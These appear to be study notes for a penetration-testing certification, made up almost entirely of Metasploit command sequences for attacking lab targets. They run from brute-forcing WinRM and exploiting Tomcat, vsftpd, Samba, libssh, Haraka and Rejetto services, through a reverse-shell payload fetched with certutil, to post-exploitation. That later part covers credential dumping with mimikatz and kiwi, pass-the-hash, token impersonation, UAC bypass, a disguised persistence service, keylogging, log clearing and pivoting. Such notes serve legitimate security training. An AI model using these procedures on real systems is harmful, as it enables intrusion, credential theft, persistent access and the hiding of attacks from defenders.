we need to scan all ports with -p-

search type:auxiliary winrm

use auxiliary/scanner/winrm_auth_methods

This will tell us if winrm is enabled and what auth methods are available

show info

setg RHOSTS t.t.t.t

run

search winrm_login

use 0

set USERFILE /usr/share/metasploit-framework/data/wordlists/common_users.txt

set PASSFILE /usr/share/metasploit-framework/data/wordlists/common_passwords.txt

run

User the found username and password

use auxiliary/scanner/winrm/winrm_cmd

set USERNAME admin

set PASSWORD secret

set CMD whoami

run

search winrm_script

use 0

show info

set USERNAME admin

set PASSWORD secret

set FORCE_VBS true

run

Exploiting apache tomcat server

Free open source web app server (java)

Run on port 8080 by default

Apache is web server created in PHP

Apache tomcat used to use dynamic websites of web apps developed in java

service postgresql start

msfconsole

workspace -a APACHE

db_name -sS -sV -O t.t.t.t

We see apache timcat runing on port 8080

search type:exploit tomcat_jsp

user exploit/multi/http/tomcat_jsp_upload_bypass

info

set PAYLOAD java/jsp_shell_bind_tcp

set LPORT 4444

set SHELL cmd

run

we get a cmd shell

whoami

ctrl+z to but in background

We can work with the shell, but it would be nicer to have a meterpreter session

Lets make a payload with msfvenom

msfvenom -p windows/meterpreter/reverse_tcp LHOST=k.k.k.k LPORT 1234 -f exe > meterpreter.exe

We need to transfer that to the target

sudo python -m SimpleHTTPServer 80

On target CMD shell, download the payload

sessions 1

certutil -urlcache -f http://k.k.k.k/meterpreter.exe

Use resource script to set up handler

vm handler.rc

use multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST k.k.k.k

set LPORT 1234

:wq!

msfconsole -r handler.rc

With handler running now we can run the payload

on the target CMD shell

meterpreter.exe

We should get a meterpreter session

sysinfo

Exploiting FTP server

In this exercise we will target a vulnerable FTP server running on linux

FTP used for transferring files on TCP port 21

service postgresql start

msfconsole

workspace -a VSFTP-234

setg RHOSTS t.t.t.t

db_nmap -sS -sV -O t.t.t.t

services

analyze

vulnerabilities

search vsftp

use exploit/unix/ftp/vsftp_234_backdoor

info

run

/bin/bash -i (to get bash shell)

ctrl + z (backgroud)

use post/multi/manage/shell_to_meterpreter

set LHOST eth1

set SESSION 1

run

sessions

sessions 2

now we have meterpreter

Exploiting samba (smb)

SMB is server message block used for sharing files on the LAN.

TCP 445

Originally in ran on top of netBIOS using port 139.

samba is smb for windows

service postgresql start

msfconsole

workspace -a SMB

setg RHOSTS t.t.t.t

db_nmap -sS -sV -O t.t.t.t

search type:exploit name:sambe

use exploit/linux/samba/is_known_pipename

info

check (to see if it would work)

run (gives linux shell)

upgrade bash shell to meterpreter

ctrl+z (bash shell to background)

search shell_to_meterpreter

show options

set LHOST eth1

set SESSION 1

run

Switch to the meterpreter session

sessions

sessions 2

sysinfo

getuid

Exploiting vulnerable SSH server

After finding a server listening on port 22

Enumerating it to find the version etc

We may have tried brute forcing to get a username

Now we can look at exploiting SSH

Start postgresql service

service postgresql start

Start metasploit

msfconsole

Create a workspace

workspace -a LIB-SSH

Set the global variable for RHOSTS as our target IP

setg RHOSTS t.t.t.t

Run an nmap scan from inside metasploit

db_nmap -sS -sV -O t.t.t.t

Now that scan is complete we see LIBSSH running

Search for an exploit and run it

search libssh_auth_bypass

use auxiliary/scanner/ssh/libssh_auth_bypass

set SPAWN_PTY true (spawn a TTY session)

run

Check for sessions, we see we have the command shell

sessions

sessions 1

whoami

cat /etc/*release

uname -r

Upgrade to meterpreter

ctrl +z

use post/multi/manage/shell_to_meterpreter

info

set LHOST eth1

set SESSION 1

run

Check for sessions, the meterpreter will be the second session

sessions

sessions 2

Run meterpreter commands

sysinfo

getuid

Exploiting vulnerable SMTP server

TCP Ports:

465

587

In this example we will look at Haraka which is an open source high performance SMTP server developed in Node.js. Versions older than 2.9.8 have a vulnerability

service postgresql start

msfconsole

workspace -a SMTP

setg RHOSTS t.t.t.t

db_nmap -sS -sV -O t.t.t.t

We see the Haraka mail server running

search type:exploit name:haraka

use exploit/linux/smtp/haraka

info

set RHOSTS t.t.t.t

set RPORT 25

set SRVPORT 9898

set email_to root@domain.com (needs to be correct)

set payload linux/x64/meterpreter_reverse_http

set LHOST eht1

run

If it works we get a meterpreter session

sysinfo

getuid

uid 0 is root access

Meterpreter fundamentals

Post exploitation is after we have gained initial access

Local enumeration from inside the network (different to external enumeration from outside)

Privilege escalation (usually we start with user access and want to get admin/root)

Maintaining persistent access

Dumping hashes (so we can run them against a cracking tool to get passwords or use the hashes themselves in a pass the hash attack)

Clearing your tracks (deleting logs)

Pivoting (moving around the network from client machine to servers, from LAN to DMZ etc)

Meterpreter (meta interpreter) is an advanced multi functional payload that operates via DLL injection and is executed in memory so hard to detect.

It communicates over a stager socket and provides an attacker with an interactive command interpreter on the target system that facilitates the execution of system commands.

It also allows the attacker to load customer scripts and plugins which give further functionality

It has various payload types (windows/linux) that work for different OS architecture (x86, x64)

Start metasploit and get initial access

service postgressql start

msfconsole

workspace -a MT

setg RHOSTS t.t.t.t

db_nmap -sV t.t.t.t

We see apache running

curl http://t.t.t.t

We see XODA running

Search xoda

use exploit/unix/webapp/xoda_file_upload

info

set TARGETURI /

run

Now we have a meterpreter session

meterpreter>

sysinfo - give computer/OS command

getuid - shows our user and permissions

help - shows list of commands in categories, there are more commands for windows sessions

A session

background - send the session to the background

exit - kill the session

ctrl + z - keyboard shortcut to background

sessions (to list all sessions)

sessions -l (list all sessions)

sessions 2 (connect to session 2)

sessions 1 (connect to session 1)

sessions -h (show the help for sessions command)

Run a command on a session without connecting to it

sessions -C sysinfo -i 2

This will run "sysinfo" on session 2

We can also do it on multiple sessions

sessions -C sysinfo -i 2,3,4,5-7

kills the session 2

sessions -k 2

Kill all sessions

sessions -K

You can rename sessions

session -n xoda -i 2

This will rename session 2 as "xoda"

Interact with it via name

sessions xoda

Meterpreter commands

mkdir test

rmdir test

pwd

cd ..

cat flag.txt

edit flag.txt

cd "Secret Files"

cat .flag2

Dowload a file

download flag5.zip

background

unzip flag5.zip

The zip file has instructions to get the MD5 hash of /bin/bash

Switch back to our meterpreter session

sessions 1

checksum md5 /bin/bash

getenv PATH

getenv TERM

Search for files

search -d /usr/bin -f *backdoor*

search -f *.txt*

download flag1.txt

Open command shell, on windows it will be cmd, on linux it will be bash

shell

/bin/bash -i

ps -aux

close the bash and go back to meterpreter

ctrl + c

List processes

migrate 580

it won't always work depending on your rights

migrate -N apache2

execute -f ifconfig

Meterpreter basics

pwd (print working directory on the target machine)

lpwd (print working directory on the local kali machine)

ls (list directory on target machine)

lls (list directory on local kali machine)

lcd

cat /app/flag1

edit /app/flag1

cat /app/flag1

cd "Secret Files"

cat .flag2

cd /app

download flag5.zip

unzip flag5.zip

cat list

rm flag5.zip

checksum md5 /bin/bash

search -d /usr/bin -f *ckdo*

Upload file

upload /usr/share/webshells/php/php-backdoor.php

Upgrading cmd shells to meterpreter shells

Some of our initial access will give us a cmd shell, we generally want to upgrade it to meterpreter so we have all the features of meterpreter available

linux cmd shell

pwd shows /tmp

/bin/bash -i

Background the session (ctrl+z)

sessions

Notice the type shows as "shell cmd/unix"

Also notice in the connection session we can see the port this session is connected on x.x.x.x:1234

Search shell_to_meterpreter

use post/multi/manage/shell_to_meterpreter

info

set SESSION 1

set LHOST eth1

We may need to set the port if it overlaps with our current cmd shell. We can see this in sessions

run

List the sessions again

sessions

We see the meterpreter session shows as type "meterpreter x86/linux"

Automating the process

session -u 1

This will upgrade sessions 1 to meterpreter automatically

Windows post exploitation modules

We can enumerate lots of information once we get a meterpreter shell

user privs
Logged on users
VM check
install programs
AVs
other computers on the same domain
installed patches / os ver
shares

Start DB and metasploit in one command

service postgresql start && msfconsole

Create workspace

workspace -a windows_post

Set global variable for target

setg RHOSTS t.t.t.t

db nmap scan

db_nmap -sV t.t.t.t

We see rejetto http file server running

search for exploits

search rejetto

use exploit/windows/http/rejetto_hfs_exec

info

(target IP already set in global variable)

run

We get the meterpreter session

meterpreter>

sysinfo

getsystem (elevate)

gertuid (get user privs)

hashdump (dump hashes if we have access to SAM database)

show_mount (see drives attached)

ps (list out process tree)

migrate 2212 (migrate to the process id 2212)

sysinfo

We can do more on a windows meterpreter session

cd C:\\

dir

cat flag.txt

download flag.txt

ctrl + z (backgroup)

sessions

Look for migrate module

search migrate

use post/windows/manage/migrate

set session 1

run

search win_privs

use post/windows/gather/win_privs

set SESSION 1

run

See who's logged on, if admin is watching or maybe we can steal admin's hash

post/windows/gather/enum_logged_on

set SESSION 1

run

Check if this host is a VM

post/windows/gather/checkvm

set SESSION 1

run

If its a VM we can try VM break out, but it could also indicate a honeypot

Check apps, we might find an old application that allows a privilege escalation.

post/windows/gather/enum_applications

show all the gathered information

loot

search type:post platform:windows enum_av

use post/windows/gather/enum_av_excluded

info

set SESSION 1

run

If we found any excluded folders or extensions we could leverage that

Find other computers

use post/windows/gather/enum_computers

set SESSION 1

run

Find the patches

use post/windows/gather/enum_patches

We can look for a certain KB if needed

We may need to migrate into an svchost.exe

systeminfo windows command will also show us the list of patches if it doesn't work

Find shares

use post/windows/gather/enum_shares

set SESSION 1

run

we might find the print$ and others which we can investigate

Enable RDP

use post/windows/manage/enable_rdp

Bypass UAC / windows privilege escalation

UAC is supposed to stop unauthorised admin changes

If you are a standard user you need to provide the admin password

How can we bypass UAC ?

There is a protection by pass where we spawn a new meterpreter shell with no UAC checking. We need a x64 meterpreter

Start with initial access

We try to elevate but it fails

getsystem

getprivs shows we just have a standard user

Get into windows shell and look up users and groups

shell

net users

net local group administrators

We see that our user is a standard user but is a member of administrator group

We need x64 session and we need to select the x64 payload and target x64

search bypassuac

user exploit/windows/local/bypassuac_injection

info

set SESSION 1

set PAYLOAD windows/x64/meterpreter/reverse_tcp

set LPORT 4433

set TARGET Windows\ x64

run

Initially the shell will show as not elevated this is baecause it can now run admin commands without UAC getting in the way, run a get system to get full admin rights.

sysinfo

getuid

getsystem

NTLM hash (in bold) example

Administrator:500:aad3b435b51404eeaad3b435b51404ee:f168d9f8e6c5b893b8c4dfa202228235:::

Windows privilege escalation: Token impersonation with incognito

Windows access token is generated after you authenticate

The token has your user and your privs

The token is attached to the userinit process which is used to start child processes

Each child process inherits the access token rights

Created by LSASS (local security authority subsystem service)

The tokens get given differnt levels

impersonate - non interactive login (service account)

delegate - interactive login

To impersonate we need to elevate our privilege and tokens available on the system

SeAssignPrimaryToken - allows a user to impersonate tokens

SeCreateToken - Create tokens

SeImpersonatePrivilege - allows users to create a process under the security context of another user, eg run cmd as administrator

Incognito is a built in meterpreter module (not to be confused to the chrome mode)

Get initial access

service postgresql start && msfconsole

workspace -a IMP

db_nmap -sV t.t.t.t

setg RHOSTS t.t.t.t

search rejetto

use 0

info

set PAYLOAD windows/x64/meterpreter/reverse_tcp

run

meterpreter>

sysinfo

getuid

NT AUTHORITY\LOCAL SERVICE - a local service account's access

NT AUTHORITY\SYSTEM - highest level of access

getprivs

This will show the Se privileges so we can know if we can impersonate tokens etc

SeImprersonatePrivilege

Dump the hashes (will fail if we don't have admin rights)

hashdump

Load the module

load incognito

list_tokens -u

impersonate_token "DOMAIN\Administrator"

getuid

hashdump still fails because the shell still has the old privs, we need to migrate to a process with the "DOMAIN\Administrator" privs

we see 3544 is running as "DOMAIN\Administrator"

migrate 3544

Now hashdump will work

cd C:\Users\Administrator

This method works across lots of versions of windows

The first step is getting the SeImpersonatePrivilege

Dumping hashes with mimikatz

Mimikatz is a post exploitation tool. It allows extraction of plaintext credentials from memory, password hashes from local SAM databases and more

SAM (security account manager) is a database file on windows systems that stores user passwords. Can be used to auth local and remote users.

We can use a mimikatz exe on the target but this might be detected by AV so we can use Kiwi which is another meterpreter module that runs mimikatz in memory. Always best to do things in memory to avoid detection.

start with a x64 meterpreter session

pgrfep lsass

migrate 792

Load the module

load kiwi

Dump all creds

creds all

We should get NTLM hash and SHA1 hash

We can only get the hashes of users on the PC

Dump the SAM database

lsa_dump_sam

Dump the LSA secrets (these can be used in pass the hash)

lsa_dump_secrets

We don't always need to crack a hash to a clear text password, the hash can be used in a pass the hash attack.

We can also upload the mimikatz exe

upload /usr/share/windows-resources/mimikatz/x64/mimi

We can then execute it but again could be detected

shell

mimikatz

privilege:debug

we want to see "20" ok to show we have the correct privs

lsadump::sam

Pass the hash with psexec

Use the NTLM hashes with the meterpreter psexec module

We can get access with the NTLM and don't need to crack passwords.

Start with initial access and migrate to x64 meterpreter

hashdump

copy and save the hashes in the file

exit

search psexec

use exploit/meterpreter/reverse_tcp

set PAYLOAD windows/x64/meterpreter/reverse_tcp

set SMBUser Administrator

paste the hash or cleartext password in. For the hash don't paste the trailing colons ::: or the one at the start

set SMBPass aad3b435b51404eeaad3b435b51404ee:f168d9f8e6c5b893b8c4dfa202228235

run

meterpreter>

sysinfo

getuid

Establishing persistence on windows systems

When we get initial access via an exploit or phishing link clicked etc all of this is running in memory. If the system is rebooted we lose access. Also a service exploited to get in may be patched so we want to maintain persistent access.

Start with initial access

workspace -a PERSIST

setg RHOSTS t.t.t.t

db_nmap t.t.t.t

search rejetto

set PAYLOAD windows/x64/meterpreter/reverse_tcp

set LHOST eth1

run

sysinfo

getuid

We need admin rights to setup persistence, so we need to elevate priv first then install persistence

search platform:windows persistence

We will see lots of different methods

persistence_service will create a service that start the meterpreter session calling back to our CnC domain.

use exploit/windows/local/persistence_service

info

It only supports 32bit payload but we can upgrade to x64 later

set PAYLOAD windows/meterpreter/reverse_tcp

set SERVICE_NAME TotallyLegitService

set SESSION 1

run

getuid

Kill all sessions

sessions -K

Now we don't have any access

use multi/handler

set the same 32bit payload

set PAYLOAD windwos/meterpreter/reverse_tcp

set LHOST eth1

run

We start up the handler and the remote PC's malicious persistence service will connect back to us so we get a meterpreter session again. This will work across reboots.

exit and run again

the compromised machine reconnects

We can exit Metasploit, start it again, start the handler and the compromised machine will reconnect

Enabling RDP

RDP is windows remote access tool with a GUI

Runs on port 3389

We can use a module to enable it, then connect to the PC via RDP which may not look as suspicious once setup.

Start with initial access

meterpreter>

ctrl + z (background it)

search enable_rdp

use post/windows/manage/enable_rdp

info

set SESSION 1

We can also setup a username and password here to use with RDP but no need if we already have other creds

run

It will enable it and open the windows firewall port

We need a username and password to login

Change admin password (this would ring alarm bells but just for this example)

meterpreter>

shell

net user administrator secret

Watch out for password policy it might have to have a certain length/complexity

xfreerdp /u:administrator /p:secret /v:t.t.t.t

accept the cert

will open an RDP window

Create an account that looks legitimate, follow the same naming convention in the org. You can also try something like BACKUPS-USER that users may assume is important.

Watch out for password policy it might have to have a certain length/complexity

Windows keylogging with meterpreter

Start with initial access

meterpreter>

Make sure we have admin access

sysinfo

getuid

Migrate to the explorer process as keylogging works best here

psgrep explorer

migrate 2234

Start the keylogging

keyscan_start

On target machine type username and password

keyscan_dump

It will show the shift keys pressed

you may need to stop/start it when the user opens a new application

Clearing tracks / deleting windows event logs

Once an attacker has done their work they will want to cover their tracks. This is useful for defenders to know as you want to log to a server and also you can monitor when logs are deleted this can create an alert.

Change a user password

We will see the event is logged in the windows security log (eventvwr)

The clearev command clears all the logs

meterpreter> clearev

it stops the service, deletes the logs and starts it again

If you transferred anything you need to delete it.

Pivoting, adding routes and port forwarding.

Use a compromised host to scan/attack/exploit other hosts inside the LAN. Or for example if we get access to a LAN machines see if we can get into the DMZ or vice versa.

Attacker > Victim1 > Victim 2

We can reach Victim1 (eg public IP on the internet or compromised LAN host)

We can't currently reach Victim2

Get initial access on Victim1

meterpreter>

sysinfo

getuid

Look at network

ipconfig

Add route

run autoroute -s 10.2.27.0/24

Now we can route through Victim1 to reach that network

ctrk+z

sessions -n Vic1 -i 1

search portscan

use auxiliary/scanner/portscan/tcp

set RHOSTS vic2.domain.com

run

We now see a list of ports open on Vic2.

We can enum/exploit further.

portfwd add -l 4333 -p 80 -r [vic2]

ctrl + z

db_nmap -sS -sV -p 8080 localhost

This will scan the forwarded port on vic1 (8080) > vic2 (80)

Now we see badblue running on vic2

We can use exploits too

use /exploit/windows/http/badblue_passthru

set PAYLOAD windows/meterpreter/reverse_tcp

set RHOST VIC2

set RPORT 80

set LPORT 4433

run

sysinfo

sessions -v Vic2 id 2

sessions

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CyberSec - eJpt

Penetration testing method

Nmap Scan Techniques

Host Discovery

Port Specification

Service and Version Detection

OS Detection

Timing and Performance

Timing and Performance Switches

NSE Scripts

Useful NSE Script Examples

Firewall / IDS Evasion and Spoofing

Output

Helpful Nmap Output examples

Miscellaneous Nmap Flags

Other Useful Nmap Commands

Host & Network Penetration Testing: Network-Based Attacks

Payloads:

Firewall detection and IDS evasion

The metasploit framework